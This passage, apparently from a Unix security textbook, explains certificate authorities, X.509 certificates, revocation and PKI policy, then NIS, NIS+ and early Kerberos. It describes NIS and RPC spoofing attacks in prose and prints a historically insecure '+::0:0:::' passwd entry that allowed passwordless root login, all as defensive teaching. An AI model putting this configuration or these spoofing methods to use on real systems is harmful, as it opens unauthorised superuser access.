Clearly, CAs that do not have their keys prebundled are at a disadvantage. Although Microsoft and Netscape have now opened up their browsers to any CA that can meet certain auditing requirements, the original web browsers were distributed with a small number of carefully selected CA keys. The bundling of these keys was a tremendous advantage to these CAs and a barrier to others.

Certification Practices Statement (CPS)

The *certification practices statement* (CPS) is a legal document CAs publish that describes their policies and procedures for issuing and revoking digital certificates. It answers the question, "What does it mean when this organization signs a key?"

CPS documents are designed to be read by humans, not by machines. A business might be willing to accept certification from a CA that guarantees minimum certification policies and a willingness to assume a certain amount of liability in the event that its certification policies are not followed—and provided that the CA is bonded by an appropriate bonding agency.

The X.509 v3 Certificate

Although certification authorities can issue any kind of certificate, in practice the vast majority of CAs issue certificates that follow the X.509 v3 standard. Likewise, most cryptographic programs and protocols, including SSL, are only designed to use X.509 v3 certificates. The only notable exception to this is PGP, which uses its own certificate format, although recent versions support reading some X.509 certificates. (The Secure Shell (ssh) program does not use certificates, but instead relies on users confirming public keys personally.)

Each X.509 certificate contains a version number, a serial number, identity information, algorithm-related information, and the signature of the issuing authority. The industry adopted X.509 v3 certificates, rather than the original X.509 certificates, because the X.509 v3 standard allows arbitrary name/value pairs to be included in the standard certificate. These pairs can be used for many purposes and allow the uses of certificates to be expanded without changing the underlying protocol.

Types of Certificates

There are four primary types of digital certificates in use on the Internet today:

Certification authority certificates
These certificates contain the public keys of CAs and either the name of the CA or the name of the particular service being certified. These certificates are typically self-signed—that is, signed with the CA's own private key. CAs can also *cross-certify*, or sign each other's master keys. What such cross-certification actually means is an open question. Microsoft Windows, Microsoft Internet Explorer, Netscape Navigator, and OpenSSL are all shipped with more than a dozen different CA certificates.

Several companies have more than one CA certificate in the CA lists that are distributed with web browsers. VeriSign has the most: over 20 different certificates. Signatures by different private keys denote different levels of trust and authentication.

Server certificates
These certificates contain the public key of an SSL server, the name of the organization that runs the server, and the DNS name of the server. Every cryptographically-enabled information server on the Internet must be equipped with a server certificate for the SSL encryption protocol to function properly. Although the originally stated purpose of these certificates was to allow consumers to determine the identity of web servers and to prevent man-in-the-middle attacks, in practice server certificates are more widely used for encryption than for server authentication.

Personal certificates
These certificates contain an individual's name and the individual's public key. They can have other information as well, such as the individual's e-mail address, postal address, or birth date. They are issued by organizations to their customers or employees. Personal certificates are a substantially more secure way of having people identify themselves on the Internet than usernames and passwords. They are also required for users of the S/MIME e-mail encryption protocol.

Software publisher certificates
These certificates are used to verify the signatures on software that is distributed, such as ActiveX components and downloadable executables. Every copy of recent Windows operating systems is distributed with a number of software publisher certificates that can be used to validate the signatures on Windows applications.

Minimal disclosure certificates

Digital certificates represent a threat to the privacy of their users. When you present a certificate to a server, the server can easily record all of the information about your identity that's present on the certificate, whether or not it's necessary to authenticate you to that server. In many jurisdictions, an organization that obtained this information in the course of business would be free to do whatever it wished with the data.

A way to minimize the privacy threat is by using *minimal disclosure certificates*. These certificates allow the holder to selectively reveal specific facts that are on a certificate without revealing others. A woman who wanted to gain access to a web site for a cancer survivors group might use minimal disclosure certificates to prove to the web site that she was a woman over 21 who had breast cancer without revealing her name or address. Minimal disclosure certificates were invented by the mathematician Stefan Brands and exclusively licensed in February 2000 to the Canadian corporation Zero Knowledge Systems.[212]

Revocation

Besides issuing certificates, CAs need a way of revoking them if the private key is compromised or the CA makes a mistake. Certificates may also need to be revoked when an employee is terminated.

The need for effective revocation mechanisms was made particularly clear in March 2001, when Microsoft announced that VeriSign had issued two certificates in January "to an individual who fraudulently claimed to be a Microsoft employee. The common name assigned to both certificates is Microsoft Corporation." Microsoft went on to note that "the ability to sign executable content using keys that purport to belong to Microsoft would clearly be advantageous to an attacker who wished to convince users to allow the content to run."[213]

[212] http://www.wired.com/news/technology/0,1282,34496,00.html
[213] http://www.microsoft.com/technet/security/bulletin/MS01-017.asp

Certificate revocation lists

One approach to revocation is the *certificate revocation list* (CRL). A CRL is a list of every certificate that has been revoked by the CA that has not yet expired for other reasons. Ideally, a CA issues a CRL at regular intervals. Besides listing certificates that have been revoked, the CRL states how long it will be valid and where to get the next CRL.

Current practice is that X.509 v3 certificates should contain a field called the CRL *distribution point* (CDP). In theory, a program that wishes to verify if a certificate has been revoked should be able to download a CRL from the CDP to determine if the certificate has been revoked. As most certificates will be issued by a small number of CAs, it is reasonable to assume that a program might download a new CRL every day or every hour, and then cache this list for successive lookups. An organization with limited Internet connectivity could download the CRL once and distribute it to its users.

In practice, CRLs and CDPs have had a variety of problems:

- If a CA is very popular, it is likely that the CRLs will grow very large. VeriSign's 900K CRL for its SSL server certificates can take more than 20 minutes to download over a dialup connection.
- There is a period between the time that a certificate is revoked and the time that the new CRL is distributed when a certificate appears to be valid but is not.
- The information contained in CRLs can be used for traffic analysis.
- Many programs do not properly implement CRLs and CDPs.

In the case of the fraudulently-issued Microsoft certificate, the bogus certificate was revoked and listed in VeriSign's CRL. Unfortunately, the certificates that VeriSign issued did not contain valid CDPs. (According to VeriSign, CDPs are not present in Authenticode certificates because of a bug in the implementation of Authenticode distributed with Internet Explorer 3.02.) Without the CDP, a program that attempted to verify the authenticity of the fraudulently-issued certificates would not know where to find the CRL on which the certificates were listed.[214]

Real-time certificate validation

An alternative to CRLs is to use real-time validation of certificates. These systems consult an online database operated by the certification authority every time the authenticity of a certificate needs to be validated. Real-time certification validation systems neatly dispense with the CRL problem, although they do require a network that is reliable and available.

The primary problem with real-time validation is one of scale. As there are more and more users of certificates, the validation servers need to be faster and faster to serve the larger user community. Furthermore real-time systems are vulnerable to denial of service (DoS) attacks. If it is not possible for a business to connect to the revocation server, what should be done with a certificate—trust it or discard it? If the default is to trust it, fraud can be committed by flooding the revocation server so as to make it unresponsive while a revoked certificate is used. If the default is to reject requests when the revocation server is unreachable, then it is possible to cause all transactions to be rejected using a DoS attack, thus damaging the reputation of the business through a cascading denial of service.

[214] In the end, Microsoft had to issue an operating system patch to resolve the problem. The patch contained an additional revocation handler that causes Internet Explorer to consult a local CRL to evaluate the authenticity of certificates, and a local CRL listing the two mistakenly issued VeriSign certificates.

Public Key Infrastructure

Public key infrastructure (PKI) is the system of digital certificates, certification authorities, tools, systems, and hardware that are used to deploy public key technology.

Many of the early proponents of PKI envisioned a single PKI, operated by or for governments, which would provide state-certified certificates. The public PKI was a grand vision, but so far it hasn't happened. Companies such as VeriSign have issued millions of certificates to verify the identity of individuals and organizations, and the keys to sign these certificates have been widely distributed. Some of these so-called *trust hierarchies*, such as the trust hierarchy used to certify web server certificates, are used by more than a hundred million people. But they are run by private businesses, and not by governments. The word "public" in PKI refers to public keys, rather than to the public at large.

Shortcomings of Today's CAs

It's unfortunate, but if you look closely into the root certificates that are bundled with Internet Explorer and Netscape Navigator, you'll see that there are significant inconsistencies and quality control problems with today's CAs.

Lack of permanence for Certificate Policies field

Internet Explorer's Certificate panel allows you to automatically open the web page that is associated with the certification practices statement for each of the certificates that is registered. This field is indicated as a URL in a field called "Certificate Policies" in the X.509 v3 certificate.

It is very important for a CA to maintain a web page at every URL that is listed in every certificate that it has ever issued. If these URLs move, links should be left in their place. If a CA changes its CPS, then it must archive each CPS at a unique URL. These links must remain accessible for the lifetime of any signed certificate that references the CPS. This is because the legal meaning of the certificate cannot be determined without reading the certificate practices statement. Furthermore, because it is possible that the meaning of a signature might be questioned many years after the signature is created, the URLs should probably remain active for a period of at least 20 years.

Unfortunately, many CA certificates point to CPSs that are no longer accessible. The self-signed certificate distributed with Internet Explorer 5.0 for the Autoridad Certificadora del Colegio Nacional de Correduria Publica Mexicana, A.C. is valid from June 29, 1999 until June 29, 2009. The certificate claims that the certificate practices statement for this key is located at *http://www.correduriapublica.org.mx/RCD/dpc*. Nevertheless, by April 2001 the URL for that CPS was not accessible.

Inconsistencies in certificate fields

The CA certificates that are bundled into Netscape Navigator and Internet Explorer are supposed to be the basis for the world's e-commerce infrastructure and legally binding agreements. Complicating this goal is the fact that there is a huge variation in the ways that the certificate fields are being used by different organizations. In particular, the "Subject" field, which identifies the issuer by its Distinguished Name, has no standard format, and different CA certificates include wildly different qualifiers in their Subject.

Consistency in the use of the Distinguished Name and other fields is vital if certificates are to be processed in a programmatic way with software. Without this consistency, certificates need to be visually inspected by individuals who are trained to understand all of the different styles and formats that legitimate names can have, so that valid certificates can be distinguished from rogue ones.

Unrealistic expiration dates

Early versions of the Netscape Navigator web browser were distributed with CA certificates that had expiration dates between December 25, 1999 and December 31, 1999. These products were in use far longer than anybody anticipated. When the end of 1999 rolled around, many of the products with these old CA certificates inside them simply stopped working. Although it should have been possible to simply download new certificates, users were advised to upgrade their entire applications because of other security problems with these early products. Many users were not happy that the software they had been depending on suddenly stopped working.

As a result of this experience, many CAs have decided to err in the other direction. They have started distributing CA certificates with unrealistically long expiration times. All of the certificates distributed with Internet Explorer 5.0 are 1024-bit RSA certificates, yet more than half of these certificates have expiration dates after January 1, 2019! VeriSign distributes eight certificates with Internet Explorer 5.5 that have expiration dates in the year 2028! Many cryptographers believe that 1024-bit RSA will not be a secure encryption system at that point in the future.

PKI Policy Issues

The need for a widespread PKI is compelling. There are growing incidents of fraud on the Internet, and there is an increasing need to use digital signatures to do business. Yet widespread PKI seems further away today than it was in the mid 1990's. It's an article of faith among computer security specialists that private keys and digital certificates can be used to establish identity. But these same specialists will pick up the phone and call one another when the digital signature signed at the bottom of an e-mail message doesn't verify. That's because it is very, very easy for the technology to screw up.

Here are a few of the problems that must be faced in building a true PKI.

Private Keys Are Not People
Digital signatures facilitate proofs of identity, but they are not proofs of identity by themselves. Unless the private key is randomly generated and stored in such a way that it can only be used by one individual, the entire process may be suspect.

Unfortunately, both key generation and storage depend on the security of the end user's computer. But the majority of the computers used to run Netscape Navigator or Internet Explorer are unsecure. Many of these computers run software that is downloaded from the Internet without knowledge of its source. Some of these computers are infected by viruses. Some of the programs downloaded have Trojan horses pre-installed. And the most common operating system and browser are terribly buggy, with hundreds of security patches issued over the past few years, so it is possible that any arbitrary system in use on the network has been compromised in the recent past by parties unknown.

The widespread use of smart cards and smart card readers may make it much more difficult to steal somebody's private key. But it won't be impossible to do so.

Distinguished Names Are Not People
Protecting private keys is not enough to establish the trustworthiness of the public key infrastructure. How do you determine if the name in the Distinguished Name field is *really* correct? Each CA promises that it will follow its own certification rules when it signs its digital signature. How do you know that a CA's rules will assure that a distinguished name on the certificate really belongs to the person they think it does?

How do you evaluate the trustworthiness of a CA? Should private companies be CAs, or should that task be reserved for nations? Would a CA ever break its rules and issue fraudulent digital identification documents? After all, governments, including the United States, have been known to issue fraudulent passports when their interests have demanded that they do so.

How do you compare one CA with another CA? Some CAs obtain third-party audits including SAS 70[215] (service auditor report) or Web Trust for CAs[216] (attestation report); others do not. The American Bar Association Information Security Committee has published a book, PKI *Assessment Guidelines*, but few users have the skill or the access to be able to assess the CAs that they might employ.

In theory, many of these questions can be resolved through the creation of standards, audits, and formal systems of accreditation. Legislation can also be used to create standards. But in practice, efforts to date are not encouraging.

There Are Too Many Robert Smiths

What do you do with a certificate that says "Robert Smith" on it? How do you tell which Robert Smith it belongs to? Clearly, a certificate must contain more information than simply a person's name: it must contain enough information to uniquely and legally identify an individual. Unfortunately, you (somebody trying to use Robert Smith's certificate) might not know this additional information—so there are still too many Robert Smiths for you. Of course, if these digital certificates did have fields for a person's age, gender, or photograph, users on the Internet would say that these IDs violated their privacy if they disclosed that information without the user's consent. And they would be right. That's the whole point of an identification card: to remove privacy and anonymity, producing identity and accountability as a result.

Digital Certificates Allow for Easy Data Aggregation

Over the past two decades, universal identifiers such as the U.S. Social Security number have become tools for systematically violating people's privacy. Universal identifiers can be used to aggregate information from many different sources to create comprehensive data profiles of individuals.

Digital certificates issued from a central location have the potential to become a far better tool for aggregating information than the Social Security number ever was. That's because digital signatures overcome the biggest problem with Social Security numbers: poor data. People sometimes lie about their Social Security numbers; other times, these numbers are mistyped.

Today, when two businesses attempt to match individually identified records, the process is often difficult because the numbers don't match. By design, digital certificates will simplify this process by providing for verified electronic entry of the numbers. As a result, the practice of building large data banks of personal information aggregated from multiple sources is likely to increase.

How Do You Loan a Key?

Suppose Carl is sick in the hospital and he wants you to go into his office and bring back his mail. To do this, he needs to give you his private key. Should he be able to do that? Should he revoke his key after you bring it back? Suppose he's having a problem with a piece of software. It crashes when he uses private key A, but not when he uses private key B. Should he be legally allowed to give a copy of private key A to the software developer so she can figure out what's wrong with the program? Or is he jeopardizing the integrity of the entire public key infrastructure by doing this?

---

[215] Statement on Auditing Standards (SAS) No. 70, Service Organizations, is an internationally recognized auditing standard developed by the American Institute of Certified Public Accountants (AICPA). A SAS 70 examination signifies that a service organization has had its control objectives and control activities examined by an independent accounting and auditing firm.

[216] Under the WebTrust Program for CAs, an independent and qualified auditor uses an established, recognized, and accepted set of principles and criteria to assess whether an active certification authority meets a minimum standard for disclosures, policies, practices, and monitoring procedures.

Suppose a private key isn't associated with a person, but is instead associated with a role that person plays within a company. For example, consider a private key that's used for signing purchase orders. Is it okay for two people to have that private key? Or should the company create two private keys, one for each person who needs to sign purchase orders?

Network-based Authentication

Several solutions to the problem of user authentication have been proposed for environments in which there are multiple workstations available to users, connected to one another through an untrusted and potentially unsecure network. For convenience, we'd like to have user account data stored on a central server, but for redundancy we might like to have that central server's data replicated on other servers in real time. For security, we need to ensure that when a user logs into a workstation, his identity is authenticated against the central server's data store without exposing private data on the untrusted network. Although solutions to this problem have been offered — including NIS, NIS+, Kerberos, and LDAP – none has been universally adopted. NIS and NIS+ are primarily used in environments with many Unix workstations; Kerberos and LDAP are increasingly seen in these environments as well, and are also part of Microsoft Windows NT-based operating systems.

Sun's Network Information Service (NIS)

One of the oldest and best-known distributed administrative database systems is Sun's Network Information Service (NIS). It was superseded years ago by NIS+, an enhanced but more complex successor to NIS, also by Sun. More recently, LDAP (Lightweight Directory Access Protocol) servers are becoming more popular, and Sun users are migrating to LDAP-based services. However, even though NIS has been deprecated by Sun, it is still widely used in many environments.

NIS is a distributed database system that lets many computers share password files, group files, host tables, and other files over the network. Although the files appear to be available on every computer, they are actually stored on only a single computer, called the NIS *master server* (and possibly replicated on a backup, or *slave server*). The other computers on the network, *NIS clients*, can use the databases (such the password file) stored on the master server as if they were stored locally. These databases are called NIS *maps*.

With NIS, a large network can be managed more easily because all of the account and configuration information can be stored and maintained on a single machine, yet used on all the systems in the network.

Some files are replaced by their NIS maps. Other files are augmented. For these files, NIS uses the plus sign (+) to tell the system that it should stop reading the file (e.g., /etc/passwd) and should start querying the appropriate map (e.g., passwd) from the NIS server. The server maintains multiple maps, normally corresponding to files stored in the /etc directory, such as */etc/passwd, /etc/hosts,* and /etc/services.

For example, the */etc/passwd* file on a client might look like this:

```
root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+::999:999:::
```

This causes the program reading */etc/passwd* on the client to make a network request to read the *passwd* map on the server. Normally, the *passwd* map is built from the server's */etc/passwd* file, although this need not necessarily be the case.

When NIS is scanning the */etc/passwd* file, it will stop when it finds the first line that matches. You can restrict the importing of accounts to particular users by following the "+" symbol with a particular username. You can also exclude certain usernames from being imported by inserting a line that begins with a minus sign (-).

NIS also allows you to selectively import some fields from the /etc/passwd database but not others. For example, if you have the following entry in your */etc/passwd* file:
root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+:*:999:999:::

Then all of the entries in the NIS passwd map will be imported, but each will have its password entry changed to *, effectively preventing it from being used on the client machine. You get all the UIDs and account names, so that file listings show the owner of files and directories as usernames. The entry also allows the ~user notation in the various shells to correctly map to the user's home directory (assuming that it is mounted using NFS).

NIS Domains

When you configure an NIS server, you must specify an NIS domain. These domains are not the same as DNS domains. While DNS domains specify a region of the Internet, NIS domains specify an administrative group of machines.

The Unix *domainname* command is used to display and to change your domainname. A computer can only be in one NIS domain at a time, but it can serve any number of NIS domains.

Don't use your Internet domain as your netgroup domain. Setting the two domains to the same name has caused problems with some versions of *sendmail*. It is also a security problem to use an NIS domain that can be easily guessed. Hacker toolkits that attempt to exploit NIS or NFS bugs almost always try variations of the Internet domain name as the NIS domainname before trying anything else. (Of course, the domainname can still be determined in other ways.)

NIS Netgroups

NIS netgroups allow you to create groups for users or machines on your network. Netgroups are similar in principle to local groups for users, but they are much more complicated.

The primary purpose of netgroups is to simplify your configuration files, and to give you less opportunity to make a mistake. By properly specifying and using netgroups, you can increase the security of your system by limiting the individuals and the machines that have access to critical resources.

The netgroup database is kept on the NIS master server in the file */etc/netgroup* or */usr/ etc/netgroup*. This file consists of one or more lines that have the form:
groupname member1 member2 ...

Each member can specify a host, a user, and a NIS domain. The members have the form:
(hostname, username, domainname)

If a *username* is not included, then every user at the host hostname is a member of the group. If a *domainname* is not provided, then the current domain is assumed.[217]

[217] It is best to create netgroups in which every member has a username (a netgroup of users) or in which every member has a hostname but does not have a username (a netgroup of hosts). Creating netgroups in which some members are users and some members are hosts makes mistakes somewhat more likely.

Setting up netgroups

The */etc/yp/makedbm* program (sometimes found in */usr/etc/yp/makedbm*) processes the netgroup file into a number of database files that are stored in:
/etc/yp/domainname/netgroup.dir
/etc/yp/domainname/netgroup.pag
/etc/yp/domainname/netgroup.byuser.dir
/etc/yp/domainname/netgroup.byuser.pag
/etc/yp/domainname/netgroup.byhost.dir
/etc/yp/domainname/netgroup.byhost.pag

Note that */etc/yp* may be symbolically linked to */var/yp* on some machines.

If you have a small organization, you might simply create two netgroups: one for all of your users, and a second for all of your client machines. These groups will simplify the creation and administration of your system's configuration files.

If you have a larger organization, you might create several groups. For example, you might create a group for each department's users. You could then have a master group that consists of all of the subgroups. Of course, you could do the same for your computers as well.

Consider the following science department:

Math (mathserve,,) (math1,,) (math2,,) (math3,,)
Chemistry (chemserve1,,) (chemserve2,,) (chem1,,) (chem2,,) (chem3,,)
Biology (bioserve1,,) (bio1,,) (bio2,,) (bio3,,)
Science Math Chemistry Biology

Netgroups are important for security because you use them to limit which users or machines on the network can access information stored on your computer. You can use netgroups in NFS files to limit who has access to the partitions, and in data files such as */etc/passwd*, to limit which entries are imported into a system.

Using netgroups to limit the importing of accounts

You can use the netgroups facility to control which accounts are imported by the */etc/ passwd* file. For example, if you want to simply import accounts for a specific net-group, then follow the plus sign (+) with an at sign (@) and a netgroup:
root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+@operators::999:999:::

The above will bring in the NIS password map entry for the users listed in the *operators* group. You can also exclude users or groups using a minus sign (-) if you list the *exclusions* before you list the net-groups.

The +*@netgroup* and -*@netgroup* notation does not work on all versions of NIS, and historically has not worked reliably on others. If you intend to use these features, *check your system to verify that they are behaving as expected*. Simply reading your documentation is not sufficient.

Limitations of NIS

NIS has been the starting point for many successful penetrations into Unix networks. Because NIS controls user accounts, if you can convince an NIS server to broadcast that you have an account, you can use that fictitious account to break into a client on the network. NIS can also make confidential information, such as encrypted password entries, widely available.

There are design flaws in the code of the NIS implementations of several vendors that allow a user to reconfigure and spoof the NIS system. This spoofing can be done in two ways: by spoofing the underlying remote procedure call (RPC) system, and by spoofing NIS.

Spoofing RPC

Remote procedure calls (RPC) enable one system on a network to call functions on another system. The NIS system depends on the functioning of the RPC *portmapper* service. This is a daemon that matches supplied service names for RPC with IP port numbers at which those services can be contacted. Servers using RPC will register themselves with *portmapper* when they start, and will remove themselves from the *portmap* database when they exit or reconfigure.

Early versions of *portmapper* allowed any program to register itself as an RPC server, allowing attackers to register their own NIS servers and respond to requests with their own password files. Most current versions of *portmapper* rejects requests to register or delete services if they come from a remote machine, or if they refer to a privileged port and come from a connection initiated from a unprivileged port. Thus only the superuser can make requests that add or delete service mappings to privileged ports, and all requests can only be made locally. However, not every vendor's version of the *portmapper* daemon performs these checks.

Note that NFS and some NIS services often register on unprivileged ports. In theory, even with the checks outlined above, an attacker could replace one of these services with a specially written program that would respond to system requests in a way that would compromise system security.

Spoofing NIS

NIS clients get information from an NIS server through RPC calls. A local daemon, *ypbind*, caches contact information for the appropriate NIS server daemon, ypserv. The *ypserv* daemon may be local or remote.

Under early SunOS versions of the NIS service (and possibly versions by some other vendors), it was possible to instantiate a program that acted like *ypserv* and responded to *ypbind* requests. The local *ypbind* daemon could then be instructed to use that program instead of the real *ypserv* daemon. As a result, an attacker could supply his or her own version of the password file (for instance) to a login request! (The security implications of this should be obvious.)

Current NIS implementations of *ypbind* have a *–secure* or –s command line flag that can be provided when the daemon is started. If the flag is used, the *ypbind* daemon will not accept any information from a *ypserv* server that is not running on a privileged port. Thus, a user-supplied attempt to masquerade as the *ypserv* daemon will be ignored. A user can't spoof *ypserv* unless that user already has superuser privileges. There is no good reason not to use the *-secure* flag.

Unfortunately, the *-secure* flag has a flaw. If the attacker is able to subvert the root account on any other machine on the local network and start a version of *ypserv* using his own NIS information, he need only point the target *ypbind* daemon to that server. The compromised server would be running on a privileged port, so its responses

would not be rejected. An attacker could also write a "fake" *ypserv* that runs on a PC-based system. Privileged ports have no meaning in this context, so any user can run the server on any port and feed information to the target *ypbind* process.

NIS is confused about "+"

Even when NIS clients contact the correct servers, NIS can present other security difficulties. For example, a combination of installation mistakes and changes in NIS itself has caused some confusion with respect to the NIS plus sign (+) in the */etc/passwd* file.

If you use NIS, be very careful that the plus sign is in the */etc/passwd* file of your *clients*, and not your *servers*. On a NIS server, the plus sign can be interpreted as a user-name under some versions of the Unix operating system. The simplest way to avoid this problem is to make sure that you do not have the "+" account on your NIS server.

Attempting to figure out what to put on your client machine is another matter. With early versions of NIS, the following line was distributed:

```
+::0:0:::                                    Correct on SunOS and Solaris
```

Unfortunately, this line presented a problem. When NIS was not running, the plus sign was sometimes taken as an account name, and anybody could log into the computer by typing + at the *login*: prompt—and without a password! Even worse, the person logged in with superuser privileges.[218]

One way to minimize the danger was by including a password field for the plus user. Specify the plus sign line in the form:

```
+:*:0:0:::                                   On NIS clients only
```

Unfortunately, under some versions of NIS this entry actually means "import the *passwd* map, but change all of the encrypted passwords to "*", which effectively prevents everybody from logging in. This entry wasn't right either!

The easiest way to deal with this confusion is simply to attempt to log into your NIS clients and servers using a + as a username. You may also wish to try logging in with the network cable unplugged, to simulate what happens to your computer when the NIS server cannot be reached. In either case, you should not be able to log in by simply typing + as a username. This test will tell you if your server is properly configured.

If you are running a recent version of your operating system, do not think that your system is immune to the + confusion in the NIS sub-system. In particular, some NIS versions on Linux got this wrong too.

Improving NIS security

NIS databases contain sensitive information. There are several ways to prevent unauthorized disclosure of your NIS databases. As with most security improvements, you can combine several of these for a layered "defense-in-depth" approach:

1. Protect your site with a firewall, or at least a smart router, and do not allow the UDP packets associated with RPC to cross between your internal network and the outside world. Unfortunately, because RPC is based on the *portmapper*, the actual UDP port that is used is not fixed. In practice, the only safe strategy is to block all UDP packets except those that you specifically wish to let cross.
2. Use a *portmapper* program that allows you to specify a list of computers (by hostname or IP address) that should

[218] On Sun's NIS implementation, and possibly others, this danger can be ameliorated somewhat by avoiding 0 or other local user values as the UID and GID values in NIS entries in the passwd file.

be allowed or denied access to specific RPC servers. If you don't have a firewall, an attacker can still scan for each individual RPC service without consulting the portmapper, but if they do make an attempt at the portmapper first, an improved version may give you warning.

3. Find out if your version of NIS uses the */var/yp/securenets* file on NIS servers. This file, when present, can be used to specify a list of networks that may receive NIS information. Other versions may provide other ways for the *ypserv* daemon to filter addresses that are allowed to access particular RPC servers.
4. Don't tighten up NIS but forget about DNS! If you decide that outsiders should not be able to learn your site's IP addresses, be sure to run two nameservers — one for internal use and one for external use.

Sun's NIS+

NIS was designed for a small, friendly computing environment. As Sun Microsystem's customers began to build networks with thousands of workstations, NIS proved to be too unwieldy and insecure for enterprise use. Sun Microsystems started working on an NIS replacement in 1990. That system was released a few years later as NIS+.

NIS+ quickly earned a bad reputation. By all accounts, the early releases were virtually untested and rarely operated as promised. Furthermore, the documentation was confusing and incomplete. Eventually, Sun worked the bugs out of NIS+ and today it is a more reliable system for secure network management and control. An excellent reference for people using NIS+ is Rick Ramsey's book, *All About Administrating NIS+* (SunSoft Press, Prentice Hall, 1994).

What NIS+ Does

NIS+ creates network databases that are used to store information about computers and users within an organization. NIS+ calls these databases *tables*; they are functionally similar to NIS *maps*. Unlike NIS, NIS+ allows for incremental updates of the information stored on replicated database servers throughout the network.

Each NIS+ domain has exactly one NIS+ *root domain server*. This is a computer that contains the master copy of the information stored in the NIS+ *root domain*. The information stored on this server can be replicated, allowing the network to remain usable even when the root server is down or unavailable. There may also be NIS+ servers for subdomains.

Entities that communicate using NIS+ are called *NIS+ principals*. An NIS+ principal may be a host or an authorized user. Each NIS+ principal has a public key and a secret key, which are stored on an NIS+ server in the domain.

All communication between NIS+ servers and NIS+ principals take place through Secure RPC, a version of RPC that authenticates and protects procedure calls with DES encryption. This makes the communication resistant to both eavesdropping and spoofing attacks. NIS+ also oversees the creation and management of Secure RPC keys. By virtue of using NIS+, every member of the organization is enabled to use Secure RPC.

NIS+ Tables and Other Objects

All information stored on an NIS+ server is stored in the form of objects. NIS+ supports three fundamental types of objects. *Tables* store configuration information; *groups* collectively refer to a set of NIS+ principals and are used for authorization; *directories* are containers for tables, groups, or other directories, and provide a tree structure to the NIS+ server.

NIS+ predefines 16 tables, including tables for hosts and networks, protocols and services, user accounts and passwords, user groups and netgroups, e-mail aliases, and others; users are free to create additional tables of their own.

Using NIS+

Using an NIS+ domain can be remarkably pleasant. When a user logs in to a workstation, the *login* process automatically acquires the user's NIS+ security credentials and attempts to decrypt them with the user's login password.

If the account password and the NIS+ credentials password are the same (and they usually are), the NIS+ *keyserv* process will cache the user's secret key and the user will have transparent access to all Secure RPC services. If the account password and the NIS+ credentials password are not the same, then the user will need to manually log in to the NIS+ domain by using the *keylogin* command. NIS+ users change their passwords with the NIS+ nispasswd command, which works in much the same way as the standard UNIX *passwd* command.

NIS+ security is implemented by providing a means for authenticating users, and by establishing access control lists that control the ways that those authenticated users can interact with the information stored in NIS+ tables. NIS+ provides for two authentication types. Local authentication is based on the UID executing an NIS+ command and is used largely for administrating the root NIS+ server. DES authentication is based on Secure RPC.

Each NIS+ object has an *owner*, which is usually the object's creator. (An object's owner can be changed with the *nischown* command.) NIS+ objects also have access control lists, which are used to control which principals have what kind of access to the object: read, modify, create, destroy, or a combination. Four types of principals may have access rights to an object: nobody (unauthenticated requests), the object's owner, principals in the object's group, and other authenticated principals.

NIS+ tables may provide additional access privileges for individual rows, columns or entries that they contain. Thus, all authenticated users may have read access to an entire table, but each user may further have the ability to modify the row of the table associated with the user's own account. Note that while permissions on individual rows, columns, or entries can broaden the access control list, they cannot impose more restrictive rules.

Limitations of NIS+

If properly configured, NIS+ can be a very secure system for network management and authentication. However, like all security systems, it is possible to make a mistake in the configuration or management of NIS+ that would render a network that it protects somewhat less than secure. Here are some things to be aware of:

Do not run NIS+ in NIS compatibility mode
NIS+ has an NIS compatibility mode that allows the NIS+ server to interoperate with NIS clients. If you run NIS+ in this mode, then any NIS server on your network (and possibly other networks as well) will have the ability to access any piece of information stored within your NIS+ server.

Manually inspect the permissions of NIS+ objects on a regular basis
System integrity checking software does not exist (yet) for NIS+. In its absence, you must manually inspect the NIS+ tables, directories, and groups on a regular basis. Be on the lookout for objects that can be modified by Nobody or by World; also be on the lookout for tables in which new objects can be created by these principal classes.

Secure the computers on which your NIS+ servers are running
Your NIS+ server is only as secure as the computer on which it is running. If attackers can obtain root access on your NIS+ server, they can make any change that they wish to your NIS+ domain, including creating new users, changing user passwords, and even changing your NIS+ server's master password.

Use NIS+ security level 2 on servers
NIS+ servers can operate at three security levels, denoted 0, 1, and 2. Only at level 2 is full security authentication and access checking enabled, and only level 2 security should be used for NIS+ servers.

Kerberos

At the Massachusetts Institute of Technology in the late 1980's, hundreds of high-performance workstations with big screens, fast (for the time) processors, small disks, and Ethernet interfaces replaced the older system of a few large timesharing computers with terminals. The goal was to allow any user to sit down at any computer and enjoy full access to his files and to the network.

As soon as the workstations were deployed, the problem of network eavesdropping became painfully obvious; with the network accessible from all over campus, nothing prevented students (or outside intruders) from running network spy programs. It was nearly impossible to prevent the students from learning the superuser password of the workstations or simply rebooting them in single-user mode. To further complicate matters, many of the computers on the network were IBM PC/ATs running software that didn't have even rudimentary computer security. Something had to be done to protect student files in the networked environment to the same degree that they were protected in the time-sharing environment.

MIT's ultimate solution to this security problem was Kerberos, an authentication system that uses DES cryptography to protect sensitive information such as passwords on an open network. When the user logs in to a workstation running Kerberos, that user is issued a *ticket* from the Kerberos server. The user's ticket can only be decrypted with the user's password; it contains information necessary to obtain additional tickets. From that point on, whenever the user wishes to access a network service, an appropriate ticket for that service must be presented. As all of the information in the Kerberos tickets is encrypted before it is sent over the network, the information is not susceptible to eavesdropping or misappropriation.

Kerberos 4 vs. Kerberos 5

Kerberos has gone through five major revisions during its history to date. Currently there are two versions of Kerberos in use in the marketplace.

Kerberos 4 is more efficient than Kerberos 5, but more limited. For example, Kerberos 4 can only work over TCP/IP networks. Kerberos 4 has not been updated in many years, and is currently deprecated. In early 1996, graduate students with the COAST Laboratory[219] at Purdue University discovered a long-standing weakness in the key generation for Kerberos 4 that allows an attacker to guess session keys in a matter of seconds. Although a patch for this vulnerability has been widely distributed, some Kerberos 4 implementations are known to be vulnerable to buffer-overflow attacks and no patches have been posted.

Kerberos 5 fixes minor problems with the Kerberos protocol, making it more resistant to determined attacks over the network. Kerberos 5 is also more flexible: it can work with different kinds of networks. Kerberos 5 also has provisions for working with encryption schemes other than DES. Although algorithms such as Triple-DES have been implemented, their use is not widespread, largely because of legacy applications that expect DES encryption.

Finally, Kerberos 5 supports delegation of authentication, ticket expirations longer than 21 hours, renewable tickets, tickets that will work sometime in the future, and many more options. If you are going to use Kerberos, you should definitely use version 5. IETF is working to revise and clarify RFC 1510, which defines Kerberos 5, and major protocol extensions are expected to follow.

[219] Incorporated into the CERIAS research center in 1998.

Kerberos Authentication

